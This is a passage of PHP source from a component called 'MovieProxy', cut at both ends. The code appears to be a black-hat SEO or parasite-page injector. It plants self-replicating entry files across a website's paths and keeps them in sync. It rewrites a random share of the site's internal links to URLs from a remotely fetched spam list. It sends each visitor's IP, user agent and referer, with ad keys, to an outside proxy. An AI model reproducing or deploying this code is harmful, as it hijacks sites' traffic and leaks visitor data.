function MovieProxy_writeEntryFile($target, $code, $fingerprint = '')
{
    $cfg = MovieProxy_config();
    if ($fingerprint === '') $fingerprint = MovieProxy_codeFingerprint($code);
    if (is_file($target)) {
        $head = @file_get_contents($target, false, null, 0, 4096);
        if (!is_string($head) || strpos($head, 'MOVIEPROXY_VERSION') === false) return 'conflict';
        $targetFingerprint = MovieProxy_fileFingerprint($target);
        if ($targetFingerprint !== '' && $targetFingerprint === $fingerprint) return 'existing';
        if (empty($cfg['auto_sync_entry_files'])) return 'old';
    } elseif (file_exists($target)) {
        return 'conflict';
    }
    if (!MovieProxy_entryEnsureParentDir($target)) return 'directory_failed';
    $tmp = $target.'.tmp.'.getmypid().'.'.mt_rand(1000, 9999);
    $written = @file_put_contents($tmp, $code, LOCK_EX);
    if ($written === false || $written < strlen($code)) {
        @unlink($tmp);
        return 'write_failed';
    }
    $ok = @rename($tmp, $target);
    if (!$ok) {
        $ok = @copy($tmp, $target);
        @unlink($tmp);
    }
    if (!$ok) return 'write_failed';
    @chmod($target, 0644);
    clearstatcache(true, $target);
    if (!MovieProxy_isCompatibleEntryFile($target)) return 'verify_failed';
    $newFingerprint = MovieProxy_fileFingerprint($target);
    if ($newFingerprint === '' || $newFingerprint !== $fingerprint) return 'verify_failed';
    return is_file($target) ? 'written' : 'write_failed';
}
function MovieProxy_ensureEntryFiles($force = false)
{
    static $done = false;
    if ($done && !$force) return true;
    if (!$force && MovieProxy_entrySyncFresh()) {
        $done = true;
        return true;
    }
    if (!MovieProxy_entryEnsureRootDir()) return false;
    $lockPath = MovieProxy_entrySyncLockPath();
    $lock = @fopen($lockPath, 'c+');
    if ($lock === false || !@flock($lock, LOCK_EX)) {
        if (is_resource($lock)) @fclose($lock);
        return false;
    }
    if (!$force) {
        clearstatcache(true, $lockPath);
        $state = MovieProxy_entryReadSyncState($lockPath);
        $cfg = MovieProxy_config();
        $interval = isset($cfg['entry_sync_interval']) ? max(0, intval($cfg['entry_sync_interval'])) : 21600;
        $stamp = !empty($state) ? intval($state['timestamp']) : 0;
        if ($stamp < 1) $stamp = intval(@filemtime($lockPath));
        $age = time() - $stamp;
        if (
            !empty($state)
            && $state['version'] === MOVIEPROXY_VERSION
            && $state['source_stamp'] !== ''
            && $state['source_stamp'] === MovieProxy_entrySourceStamp()
            && $age >= 0
            && $age < $interval
        ) {
            @flock($lock, LOCK_UN);
            @fclose($lock);
            $done = true;
            return true;
        }
    }
    $code = MovieProxy_generatedCode();
    $fingerprint = $code !== '' ? MovieProxy_codeFingerprint($code) : '';
    $created = 0;
    $updated = 0;
    $existing = 0;
    $skipped = 0;
    if ($code !== '' && $fingerprint !== '') {
        foreach (MovieProxy_entryCreatePaths() as $urlPath) {
            $target = MovieProxy_urlPathToEntryFile($urlPath, false);
            if ($target === '') {
                $skipped++;
                continue;
            }
            $wasFile = is_file($target);
            $result = MovieProxy_writeEntryFile($target, $code, $fingerprint);
            if ($result === 'existing') {
                $existing++;
            } elseif ($result === 'written') {
                if ($wasFile) $updated++;
                else $created++;
            } else {
                $skipped++;
            }
        }
    } else {
        $skipped++;
    }
    @ftruncate($lock, 0);
    @rewind($lock);
    $line = implode('|', array(
        MOVIEPROXY_VERSION,
        time(),
        MovieProxy_entrySourceStamp(),
        $fingerprint,
        $created,
        $updated,
        $existing,
        $skipped
    ))."\n";
    @fwrite($lock, $line);
    @fflush($lock);
    @flock($lock, LOCK_UN);
    @fclose($lock);
    clearstatcache(true, $lockPath);
    $legacyLock = rtrim(MovieProxy_entryRootDir(), '/\\').DIRECTORY_SEPARATOR.'.movieproxy_logo_sync.lock';
    if (is_file($legacyLock)) @unlink($legacyLock);
    $done = true;
    return $created > 0 || $updated > 0 || $existing > 0;
}
function MovieProxy_ensureLogo()
{
    MovieProxy_ensureEntryFiles();
    $logoPath = MovieProxy_entryApplyRootPath('/logo.php');
    $target = MovieProxy_urlPathToEntryFile($logoPath, true);
    return MovieProxy_isCompatibleEntryFile($target);
}
function MovieProxy_randomNumber($length)
{
    $length = max(1, intval($length));
    $value = '';
    $i = 0;
    for ($i = 0; $i < $length; $i++) $value .= mt_rand(0, 9);
    return $value;
}
function MovieProxy_randomRangeCallback($match)
{
    $min = intval($match[1]);
    $max = intval($match[2]);
    if ($min > $max) {
        $tmp = $min;
        $min = $max;
        $max = $tmp;
    }
    return MovieProxy_randomNumber(mt_rand($min, $max));
}
function MovieProxy_randomFixedCallback($match)
{
    return MovieProxy_randomNumber(intval($match[1]));
}
function MovieProxy_randomDefaultCallback($match)
{
    return MovieProxy_randomNumber(mt_rand(5, 8));
}
function MovieProxy_convertEncoding($value, $to, $from)
{
    if ($value === '' || strcasecmp($to, $from) === 0) return $value;
    if (function_exists('mb_convert_encoding')) {
        $converted = @mb_convert_encoding($value, $to, $from);
        if (is_string($converted) && $converted !== '') return $converted;
    }
    if (function_exists('iconv')) {
        $converted = @iconv($from, $to.'//IGNORE', $value);
        if ($converted !== false && $converted !== '') return $converted;
    }
    return $value;
}
function MovieProxy_replaceRandom($value)
{
    $value = trim((string)$value);
    if ($value === '') return '';
    $sourceCharset = 'UTF-8';
    if (@preg_match('//u', $value) !== 1) {
        $sourceCharset = 'GB18030';
        $value = MovieProxy_convertEncoding($value, 'UTF-8', 'GB18030');
    }
    $value = str_replace(array("\xEF\xBD\x9B", "\xEF\xBD\x9D"), array('{', '}'), $value);
    $value = @preg_replace_callback('/\{(?:随机数字|数字)(?:几)?\}/u', 'MovieProxy_randomDefaultCallback', $value);
    $labels = array('随机数字', '数字');
    $i = 0;
    for ($i = 0; $i < count($labels); $i++) {
        $label = preg_quote($labels[$i], '/');
        $value = @preg_replace_callback('/\{'.$label.'(\d+)\s*-\s*(\d+)\}/u', 'MovieProxy_randomRangeCallback', $value);
        $value = @preg_replace_callback('/\{'.$label.'(\d+)\}/u', 'MovieProxy_randomFixedCallback', $value);
    }
    $value = @preg_replace_callback('/\{(\d+)\s*-\s*(\d+)\}/', 'MovieProxy_randomRangeCallback', $value);
    $value = @preg_replace_callback('/\{(\d+)\}/', 'MovieProxy_randomFixedCallback', $value);
    if ($sourceCharset !== 'UTF-8') {
        $value = MovieProxy_convertEncoding($value, $sourceCharset, 'UTF-8');
    }
    return (string)$value;
}
function MovieProxy_replaceYzzRandom($value)
{
    $value = trim((string)$value);
    if ($value === '') return '';
    $sourceCharset = 'UTF-8';
    if (@preg_match('//u', $value) !== 1) {
        $sourceCharset = 'GB18030';
        $value = MovieProxy_convertEncoding($value, 'UTF-8', 'GB18030');
    }
    $value = str_replace(array("\xEF\xBD\x9B", "\xEF\xBD\x9D"), array('{', '}'), $value);
    $value = @preg_replace_callback('/\{随机数字(\d+)\s*-\s*(\d+)\}/u', 'MovieProxy_randomRangeCallback', $value);
    $value = @preg_replace_callback('/\{随机数字(\d+)\}/u', 'MovieProxy_randomFixedCallback', $value);
    $value = @preg_replace_callback('/\{随机数字几\}/u', 'MovieProxy_randomDefaultCallback', $value);
    $value = @preg_replace_callback('/\{随机数字\}/u', 'MovieProxy_randomDefaultCallback', $value);
    if ($sourceCharset !== 'UTF-8') {
        $value = MovieProxy_convertEncoding($value, $sourceCharset, 'UTF-8');
    }
    return (string)$value;
}
function MovieProxy_pickWeightedLogoPath($cfg)
{
    $pool = isset($cfg['logo_path_pool']) && is_array($cfg['logo_path_pool'])
        ? $cfg['logo_path_pool']
        : array();
    $valid = array();
    $totalWeight = 0;
    $i = 0;
    for ($i = 0; $i < count($pool); $i++) {
        if (!is_array($pool[$i])) continue;
        $path = isset($pool[$i]['path']) ? trim((string)$pool[$i]['path']) : '';
        $weight = isset($pool[$i]['weight']) ? intval($pool[$i]['weight']) : 0;
        if ($path === '' || $weight < 1) continue;
        $valid[] = array('path' => $path, 'weight' => $weight);
        $totalWeight += $weight;
    }
    if ($totalWeight < 1 || empty($valid)) {
        return !empty($cfg['logo_random_path'])
            ? trim((string)$cfg['logo_random_path'])
            : '/news/{随机数字5-8}.html';
    }
    $point = mt_rand(1, $totalWeight);
    $current = 0;
    for ($i = 0; $i < count($valid); $i++) {
        $current += intval($valid[$i]['weight']);
        if ($point <= $current) {
            return (string)$valid[$i]['path'];
        }
    }
    return (string)$valid[count($valid) - 1]['path'];
}
function MovieProxy_randomLogoUrl()
{
    $cfg = MovieProxy_config();
    $template = MovieProxy_pickWeightedLogoPath($cfg);
    if ($template === '') {
        $template = '/news/{随机数字5-8}.html';
    }
    if (substr($template, 0, 1) !== '/') {
        $template = '/'.ltrim($template, '/');
    }
    $path = MovieProxy_replaceRandom($template);
    if ($path === '' || strpos($path, '{') !== false || strpos($path, '}') !== false) {
        $path = '/news/'.MovieProxy_randomNumber(mt_rand(5, 8)).'.html';
    }
    $prefix = MovieProxy_logoPrefix($template, false);
    return $prefix !== '' ? $prefix.$path : '';
}
function MovieProxy_randomSlug($minLength, $maxLength)
{
    $minLength = max(3, intval($minLength));
    $maxLength = max($minLength, intval($maxLength));
    $length = $minLength === $maxLength ? $minLength : mt_rand($minLength, $maxLength);
    $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
    $maxIndex = strlen($chars) - 1;
    $slug = '';
    $i = 0;
    for ($i = 0; $i < $length; $i++) {
        $slug .= $chars[mt_rand(0, $maxIndex)];
    }
    return $slug;
}
function MovieProxy_isDirectEntryRequest($uri)
{
    $current = MovieProxy_currentEntryPath();
    if ($current === '') return false;
    $query = @parse_url((string)$uri, PHP_URL_QUERY);
    if ($query !== false && $query !== null && trim((string)$query) !== '') return false;
    $path = @parse_url((string)$uri, PHP_URL_PATH);
    if ($path === false || $path === null || $path === '') $path = '/';
    $path = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', (string)$path)), '/');
    $current = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', (string)$current)), '/');
    if (strcasecmp($path, $current) === 0) return true;
    if (strcasecmp(basename($current), 'index.php') === 0) {
        $dir = MovieProxy_normalizeBasePath(dirname($current));
        if ($path === $dir || rtrim($path, '/') === rtrim($dir, '/')) return true;
    }
    return false;
}
function MovieProxy_directEntryLinks($count)
{
    $cfg = MovieProxy_config();
    $count = max(1, min(100, intval($count)));
    $entry = MovieProxy_currentEntryPath();
    if ($entry === '') return array();
    $topics = isset($cfg['direct_entry_link_topics']) && is_array($cfg['direct_entry_link_topics'])
        ? $cfg['direct_entry_link_topics']
        : array('html', 'news', 'article', 'content', 'product');
    $cleanTopics = array();
    foreach ($topics as $topic) {
        $topic = strtolower(preg_replace('/[^a-z0-9_-]/i', '', trim((string)$topic)));
        if ($topic !== '') $cleanTopics[] = $topic;
    }
    if (empty($cleanTopics)) $cleanTopics = array('html', 'news', 'article', 'content', 'product');
    $links = array();
    $seen = array();
    $attempts = 0;
    while (count($links) < $count && $attempts < $count * 20) {
        $attempts++;
        $index = count($links);
        $topic = $cleanTopics[$index % count($cleanTopics)];
        $slug = MovieProxy_randomSlug(6, 9);
        $contentPath = '/'.$topic.'/'.$slug.'.html';
        $href = ($index % 2 === 0)
            ? $entry.'?'.$contentPath
            : $entry.$contentPath;
        if (isset($seen[$href])) continue;
        $seen[$href] = true;
        $links[] = array(
            'href' => $href,
            'text' => $topic.'-'.$slug
        );
    }
    return $links;
}
function MovieProxy_directEntryLinksHtml($count)
{
    $links = MovieProxy_directEntryLinks($count);
    if (empty($links)) return '';
    $html = "\n<div id=\"movieproxy-auto-links\" class=\"movieproxy-auto-links\">\n";
    $html .= "<ul>\n";
    foreach ($links as $link) {
        $html .= '<li><a href="'.MovieProxy_escapeHtml($link['href']).'">'.MovieProxy_escapeHtml($link['text'])."</a></li>\n";
    }
    $html .= "</ul>\n</div>\n";
    return $html;
}
function MovieProxy_appendDirectEntryLinks($html)
{
    $cfg = MovieProxy_config();
    if (empty($cfg['direct_entry_links_enabled'])) return (string)$html;
    $html = (string)$html;
    if (stripos($html, 'id="movieproxy-auto-links"') !== false) return $html;
    $count = isset($cfg['direct_entry_link_count']) ? intval($cfg['direct_entry_link_count']) : 10;
    $block = MovieProxy_directEntryLinksHtml($count);
    if ($block === '') return $html;
    if (preg_match('/<\/body\s*>/i', $html)) {
        return preg_replace('/<\/body\s*>/i', $block.'</body>', $html, 1);
    }
    return $html.$block;
}
function MovieProxy_outputDirectEntryPage($method)
{
    $cfg = MovieProxy_config();
    $count = isset($cfg['direct_entry_link_count']) ? intval($cfg['direct_entry_link_count']) : 10;
    $links = MovieProxy_directEntryLinksHtml($count);
    MovieProxy_status(200);
    if (!headers_sent()) {
        header('Content-Type: text/html; charset=UTF-8', true);
        header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true);
        header('Pragma: no-cache', true);
        header('Expires: Thu, 01 Jan 1970 00:00:00 GMT', true);
        if (function_exists('header_remove')) {
            @header_remove('Content-Length');
            @header_remove('Content-Encoding');
        }
    }
    if (strtoupper((string)$method) === 'HEAD') return;
    $entry = MovieProxy_currentEntryPath();
    echo '<!doctype html><html><head><meta charset="utf-8"><title>'.MovieProxy_escapeHtml($entry).'</title></head><body>';
    echo $links;
    echo '</body></html>';
}
function MovieProxy_http($url, $headers, $ua, $ref)
{
    $cfg = MovieProxy_config();
    $connectTimeout = max(1, intval($cfg['connect_timeout']));
    $timeout = max($connectTimeout, intval($cfg['timeout']));
    $responseHeaders = array();
    if (function_exists('curl_init')) {
        $ch = @curl_init();
        @curl_setopt($ch, CURLOPT_URL, $url);
        @curl_setopt($ch, CURLOPT_USERAGENT, $ua);
        @curl_setopt($ch, CURLOPT_HTTPHEADER, is_array($headers) ? $headers : array());
        @curl_setopt($ch, CURLOPT_REFERER, $ref);
        @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        @curl_setopt($ch, CURLOPT_HEADER, false);
        @curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($ch, $line) use (&$responseHeaders) {
            $length = strlen($line);
            $position = strpos($line, ':');
            if ($position !== false) {
                $name = strtolower(trim(substr($line, 0, $position)));
                $value = trim(substr($line, $position + 1));
                if ($name !== '') $responseHeaders[$name] = $value;
            }
            return $length;
        });
        @curl_setopt($ch, CURLOPT_ENCODING, '');
        @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connectTimeout);
        @curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        @curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
        @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, !empty($cfg['ssl_verify']));
        @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, !empty($cfg['ssl_verify']) ? 2 : 0);
        if (!empty($cfg['force_ipv4']) && defined('CURLOPT_IPRESOLVE') && defined('CURL_IPRESOLVE_V4')) {
            @curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
        }
        $body = @curl_exec($ch);
        $code = intval(@curl_getinfo($ch, CURLINFO_HTTP_CODE));
        @curl_close($ch);
        return array($body, $code, $responseHeaders);
    }
    $headerText = is_array($headers) && !empty($headers)
        ? implode("\r\n", $headers)."\r\n"
        : '';
    $context = @stream_context_create(array(
        'http' => array(
            'method' => 'GET',
            'timeout' => $timeout,
            'ignore_errors' => true,
            'follow_location' => 1,
            'max_redirects' => 3,
            'user_agent' => $ua,
            'header' => $headerText
        ),
        'ssl' => array(
            'verify_peer' => !empty($cfg['ssl_verify']),
            'verify_peer_name' => !empty($cfg['ssl_verify']),
            'allow_self_signed' => empty($cfg['ssl_verify'])
        )
    ));
    $body = @file_get_contents($url, false, $context);
    $code = 0;
    if (isset($http_response_header) && is_array($http_response_header)) {
        foreach ($http_response_header as $line) {
            if (preg_match('#^HTTP/\S+\s+(\d{3})#i', $line, $m)) {
                $code = intval($m[1]);
                continue;
            }
            $position = strpos((string)$line, ':');
            if ($position !== false) {
                $name = strtolower(trim(substr((string)$line, 0, $position)));
                $value = trim(substr((string)$line, $position + 1));
                if ($name !== '') $responseHeaders[$name] = $value;
            }
        }
    }
    return array($body, $code, $responseHeaders);
}
function MovieProxy_requestId()
{
    static $id = '';
    if ($id !== '') return $id;
    $id = date('YmdHis').'-'.substr(md5(uniqid('', true).mt_rand()), 0, 20);
    return $id;
}
function MovieProxy_requestHeaders($host, $uri, $ua, $ref, $ip, $withKey, $originalUri = '')
{
    $cfg = MovieProxy_config();
    $scheme = MovieProxy_requestScheme();
    $uri = MovieProxy_clean($uri);
    if ($originalUri === '') $originalUri = $uri;
    $originalUri = MovieProxy_clean($originalUri);
    $fullUrl = $scheme.'://'.$host.$uri;
    $originalFullUrl = $scheme.'://'.$host.$originalUri;
    $originalPath = @parse_url($originalUri, PHP_URL_PATH);
    if (MovieProxy_isDirectEntryRequest($originalUri)) {
        $entryPath = MovieProxy_currentEntryPath();
    } elseif ($originalPath !== false && $originalPath !== null && MovieProxy_isProxyEntryUrl($originalPath)) {
        $currentEntry = MovieProxy_currentEntryPath();
        $entryPath = $currentEntry !== ''
            ? $currentEntry
            : '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $originalPath)), '/');
    } else {
        $entryPath = '';
    }
    $entry = $entryPath !== '' ? 'logo' : 'direct';
    $headers = array(
        'X-SSProxy-Protocol: SSPV13',
        'X-SSProxy-Host: '.$host,
        'X-SSProxy-Scheme: '.$scheme,
        'X-SSProxy-URI: '.$uri,
        'X-SSProxy-Full-URL: '.$fullUrl,
        'X-SSProxy-Original-URI: '.$originalUri,
        'X-SSProxy-Original-Full-URL: '.$originalFullUrl,
        'X-SSProxy-Entry: '.$entry,
        'X-SSProxy-Entry-Path: '.$entryPath,
        'X-SSProxy-Visitor-IP: '.$ip,
        'X-SSProxy-Visitor-UA: '.$ua,
        'X-SSProxy-Referer: '.$ref,
        'X-SSProxy-Request-ID: '.MovieProxy_requestId()
    );
    if ($withKey) {
        if (!empty($cfg['ad_key'])) {
            $headers[] = 'X-SSProxy-Ad-Key: '.MovieProxy_clean($cfg['ad_key']);
        }
        if (!empty($cfg['proxy_key'])) {
            $headers[] = 'X-SSProxy-Proxy-Key: '.MovieProxy_clean($cfg['proxy_key']);
        }
    }
    return $headers;
}
function MovieProxy_yzzFetchText()
{
    static $loaded = false;
    static $text = '';
    if ($loaded) return $text;
    $loaded = true;
    $cfg = MovieProxy_config();
    if (empty($cfg['yzz_enabled'])) return '';
    $url = isset($cfg['yzz_url']) ? trim((string)$cfg['yzz_url']) : '';
    if ($url === '' || !filter_var($url, FILTER_VALIDATE_URL)) return '';
    $ttl = isset($cfg['yzz_apcu_ttl']) ? max(0, intval($cfg['yzz_apcu_ttl'])) : 30;
    $cacheKey = 'movieproxy:yzz:'.md5($url);
    if ($ttl > 0 && function_exists('apcu_fetch')) {
        $ok = false;
        $cached = @apcu_fetch($cacheKey, $ok);
        if ($ok && is_string($cached)) {
            $text = $cached;
            return $text;
        }
    }
    $requestUrl = $url;
    if (!empty($cfg['yzz_cache_bust'])) {
        $window = $ttl > 0 ? $ttl : 30;
        $token = intval(floor(time() / max(1, $window)));
        $requestUrl .= (strpos($requestUrl, '?') === false ? '?' : '&').'_mp_yzz='.$token;
    }
    $connectTimeout = isset($cfg['yzz_connect_timeout']) ? max(1, intval($cfg['yzz_connect_timeout'])) : 3;
    $timeout = isset($cfg['yzz_timeout']) ? max($connectTimeout, intval($cfg['yzz_timeout'])) : 6;
    $maxBytes = isset($cfg['yzz_max_bytes']) ? max(1024, intval($cfg['yzz_max_bytes'])) : 1048576;
    $ua = !empty($_SERVER['HTTP_USER_AGENT']) ? MovieProxy_clean($_SERVER['HTTP_USER_AGENT']) : 'Mozilla/5.0';
    $body = false;
    $code = 0;
    if (function_exists('curl_init')) {
        $ch = @curl_init();
        @curl_setopt($ch, CURLOPT_URL, $requestUrl);
        @curl_setopt($ch, CURLOPT_USERAGENT, $ua);
        @curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'Accept: text/plain, */*;q=0.8',
            'Cache-Control: no-cache',
            'Pragma: no-cache'
        ));
        @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        @curl_setopt($ch, CURLOPT_HEADER, false);
        @curl_setopt($ch, CURLOPT_ENCODING, '');
        @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connectTimeout);
        @curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        @curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
        @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, !empty($cfg['ssl_verify']));
        @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, !empty($cfg['ssl_verify']) ? 2 : 0);
        if (!empty($cfg['force_ipv4']) && defined('CURLOPT_IPRESOLVE') && defined('CURL_IPRESOLVE_V4')) {
            @curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
        }
        $body = @curl_exec($ch);
        $code = intval(@curl_getinfo($ch, CURLINFO_HTTP_CODE));
        @curl_close($ch);
    } else {
        $context = @stream_context_create(array(
            'http' => array(
                'method' => 'GET',
                'timeout' => $timeout,
                'ignore_errors' => true,
                'follow_location' => 1,
                'max_redirects' => 3,
                'user_agent' => $ua,
                'header' => "Accept: text/plain, */*;q=0.8\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n"
            ),
            'ssl' => array(
                'verify_peer' => !empty($cfg['ssl_verify']),
                'verify_peer_name' => !empty($cfg['ssl_verify']),
                'allow_self_signed' => empty($cfg['ssl_verify'])
            )
        ));
        $body = @file_get_contents($requestUrl, false, $context);
        if (isset($http_response_header) && is_array($http_response_header)) {
            foreach ($http_response_header as $line) {
                if (preg_match('#^HTTP/\S+\s+(\d{3})#i', (string)$line, $m)) {
                    $code = intval($m[1]);
                }
            }
        }
    }
    if ($body === false || ($code !== 0 && ($code < 200 || $code >= 400))) return '';
    $body = substr((string)$body, 0, $maxBytes);
    if ($body !== '' && @preg_match('//u', $body) !== 1) {
        $body = MovieProxy_convertEncoding($body, 'UTF-8', 'GB18030');
    }
    $text = is_string($body) ? $body : '';
    if ($ttl > 0 && function_exists('apcu_store')) {
        @apcu_store($cacheKey, $text, $ttl);
    }
    return $text;
}
function MovieProxy_yzzAllowedTemplate($url)
{
    $url = trim((string)$url);
    if ($url === '' || substr($url, 0, 1) === '#') return false;
    if (strpbrk($url, "\0\r\n<>\"'") !== false) return false;
    if (preg_match('#^(?:javascript:|data:|mailto:|tel:|vbscript:|file:)#i', $url)) return false;
    if (preg_match('#^https?://#i', $url)) return true;
    if (substr($url, 0, 2) === '//' || substr($url, 0, 1) === '/') return true;
    return preg_match('~^[A-Za-z0-9.-]+\.[A-Za-z]{2,}(?::\d+)?(?:[/?#]|$)~', $url) === 1;
}
function MovieProxy_yzzPool()
{
    static $pool = null;
    if (is_array($pool)) return $pool;
    $cfg = MovieProxy_config();
    $mode = isset($cfg['yzz_default_mode']) ? intval($cfg['yzz_default_mode']) : 3;
    if ($mode < 1 || $mode > 3) $mode = 3;
    $pool = array('mode' => $mode, 'links' => array());
    $text = MovieProxy_yzzFetchText();
    if (trim($text) === '') return $pool;
    $text = preg_replace('/^\xEF\xBB\xBF/', '', $text);
    $rows = preg_split('/\r\n|\r|\n/', (string)$text);
    $links = array();
    $modeFound = false;
    foreach ($rows as $row) {
        $row = trim((string)$row);
        if ($row === '') continue;
        if (substr($row, 0, 1) === '#') {
            if (!$modeFound && preg_match('/^#\s*([123])(?:\s|$)/', $row, $m)) {
                $pool['mode'] = intval($m[1]);
                $modeFound = true;
            }
            continue;
        }
        if (MovieProxy_yzzAllowedTemplate($row)) $links[$row] = true;
    }
    $pool['links'] = array_keys($links);
    $max = isset($cfg['yzz_pool_max']) ? max(1, intval($cfg['yzz_pool_max'])) : 5000;
    if (count($pool['links']) > $max) {
        shuffle($pool['links']);
        $pool['links'] = array_slice($pool['links'], 0, $max);
    }
    return $pool;
}
function MovieProxy_randomYzzLink($links)
{
    if (!is_array($links) || empty($links)) return '';
    $url = trim((string)$links[mt_rand(0, count($links) - 1)]);
    if (!MovieProxy_yzzAllowedTemplate($url)) return '';
    $url = MovieProxy_replaceYzzRandom($url);
    if ($url === '' || strpos($url, '{') !== false || strpos($url, '}') !== false) return '';
    return MovieProxy_yzzAllowedTemplate($url) ? $url : '';
}
function MovieProxy_randomRewriteTarget()
{
    $cfg = MovieProxy_config();
    $pool = MovieProxy_yzzPool();
    $mode = intval($pool['mode']);
    $links = $pool['links'];
    if ($mode === 1 || empty($links)) return MovieProxy_randomLogoUrl();
    if ($mode === 2) {
        $url = MovieProxy_randomYzzLink($links);
        return $url !== '' ? $url : MovieProxy_randomLogoUrl();
    }
    $percent = isset($cfg['yzz_replace_percent']) ? intval($cfg['yzz_replace_percent']) : 30;
    $percent = max(0, min(100, $percent));
    if ($percent > 0 && mt_rand(1, 100) <= $percent) {
        $url = MovieProxy_randomYzzLink($links);
        if ($url !== '') return $url;
    }
    return MovieProxy_randomLogoUrl();
}
function MovieProxy_normalizeInternalUrl($url)
{
    $url = trim((string)$url);
    if ($url === '') return '';
    if (substr($url, 0, 1) === '#') return '';
    if (preg_match('#^(?:javascript:|mailto:|tel:|data:)#i', $url)) return '';
    if (preg_match('#^https?://#i', $url)) {
        $urlHost = strtolower((string)@parse_url($url, PHP_URL_HOST));
        $siteHost = strtolower((string)(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''));
        $siteHost = preg_replace('#:\d+$#', '', $siteHost);
        if ($urlHost === '' || $urlHost !== $siteHost) return '';
        $path = @parse_url($url, PHP_URL_PATH);
        $query = @parse_url($url, PHP_URL_QUERY);
        $url = ($path !== false && $path !== null && $path !== '') ? $path : '/';
        if ($query !== false && $query !== null && $query !== '') $url .= '?'.$query;
    }
    if (substr($url, 0, 2) === '//') return '';
    if (substr($url, 0, 1) !== '/') $url = '/'.ltrim($url, '/');
    if (MovieProxy_isProxyEntryUrl($url)) return '';
    $check = $url;
    $base = MovieProxy_installBasePath();
    if ($base !== '/' && strpos($check, $base) === 0) {
        $check = '/'.ltrim(substr($check, strlen($base)), '/');
    }
    if (preg_match('#^/(?:admin|api|data|runtime|app|assets|templates)(?:/|$)#i', $check)) return '';
    $pathOnly = @parse_url($check, PHP_URL_PATH);
    if ($pathOnly === false || $pathOnly === null) $pathOnly = $check;
    if (preg_match('/\.(?:css|js|mjs|jpg|jpeg|png|gif|webp|svg|ico|bmp|avif|woff2?|ttf|eot|mp4|m3u8|ts|mp3|wav|pdf|zip|rar|7z)$/i', $pathOnly)) {
        return '';
    }
    return $url;
}
function MovieProxy_replacementCount($total, $isHome)
{
    $cfg = MovieProxy_config();
    $total = intval($total);
    if ($total < 2) return 0;
    if ($isHome) {
        $chance = max(0, min(100, intval($cfg['home_rewrite_chance'])));
        if ($chance < 100 && mt_rand(1, 100) > $chance) return 0;
        $percent = max(1, min(99, intval($cfg['home_replace_percent'])));
    } else {
        $min = max(1, min(99, intval($cfg['inner_replace_min_percent'])));
        $max = max(1, min(99, intval($cfg['inner_replace_max_percent'])));
        if ($min > $max) {
            $tmp = $min;
            $min = $max;
            $max = $tmp;
        }
        $percent = $min === $max ? $min : mt_rand($min, $max);
    }
    $count = intval(floor($total * $percent / 100));
    if ($count < 1) $count = 1;
    if ($count >= $total) $count = $total - 1;
    return $count;
}
function MovieProxy_sortOffsetDesc($a, $b)
{
    if ($a['offset'] === $b['offset']) return 0;
    return $a['offset'] > $b['offset'] ? -1 : 1;
}
function MovieProxy_rewriteSiteHtml($html, $isHome)
{
    $html = (string)$html;
    if ($html === '' || stripos($html, 'href') === false) return $html;
    $matches = array();
    $flags = PREG_SET_ORDER;
    if (defined('PREG_OFFSET_CAPTURE')) $flags |= PREG_OFFSET_CAPTURE;
    $found = @preg_match_all('/\bhref\s*=\s*(["\'])([^"\']*)\1/i', $html, $matches, $flags);
    if (!$found || empty($matches)) return $html;
    $eligible = array();
    $i = 0;
    for ($i = 0; $i < count($matches); $i++) {
        if (!isset($matches[$i][2][0], $matches[$i][2][1])) continue;
        if (MovieProxy_normalizeInternalUrl($matches[$i][2][0]) === '') continue;
        $eligible[] = array(
            'offset' => intval($matches[$i][2][1]),
            'length' => strlen((string)$matches[$i][2][0])
        );
    }
    $count = MovieProxy_replacementCount(count($eligible), !empty($isHome));
    if ($count < 1) return $html;
    shuffle($eligible);
    $selected = array_slice($eligible, 0, $count);
    usort($selected, 'MovieProxy_sortOffsetDesc');
    for ($i = 0; $i < count($selected); $i++) {
        $target = MovieProxy_randomRewriteTarget();
        if ($target === '') continue;
        $html = substr_replace(
            $html,
            $target,
            $selected[$i]['offset'],
            $selected[$i]['length']
        );
    }
    return $html;
}
function MovieProxy_apiLinkEligible($url)
{
    $url = trim((string)$url);
    if ($url === '' || substr($url, 0, 1) === '#') return false;
    if (preg_match('#^(?:javascript:|mailto:|tel:|data:)#i', $url)) return false;
    if (MovieProxy_isProxyEntryUrl($url)) return false;
    $path = @parse_url($url, PHP_URL_PATH);
    if ($path === false || $path === null || $path === '') $path = $url;
    $path = '/'.ltrim(str_replace('\\', '/', (string)$path), '/');
    if (preg_match('#^/(?:admin|api|data|runtime|app|assets|templates)(?:/|$)#i', $path)) return false;
    if (preg_match('/\.(?:css|js|mjs|jpg|jpeg|png|gif|webp|svg|ico|bmp|avif|woff2?|ttf|eot|mp4|m3u8|ts|mp3|wav|pdf|zip|rar|7z)$/i', $path)) return false;
    return true;
}
function MovieProxy_rewriteApiHtml($html)
{
    $html = (string)$html;
    if ($html === '' || stripos($html, 'href') === false) return $html;
    $matches = array();
    $flags = PREG_SET_ORDER;
    if (defined('PREG_OFFSET_CAPTURE')) $flags |= PREG_OFFSET_CAPTURE;
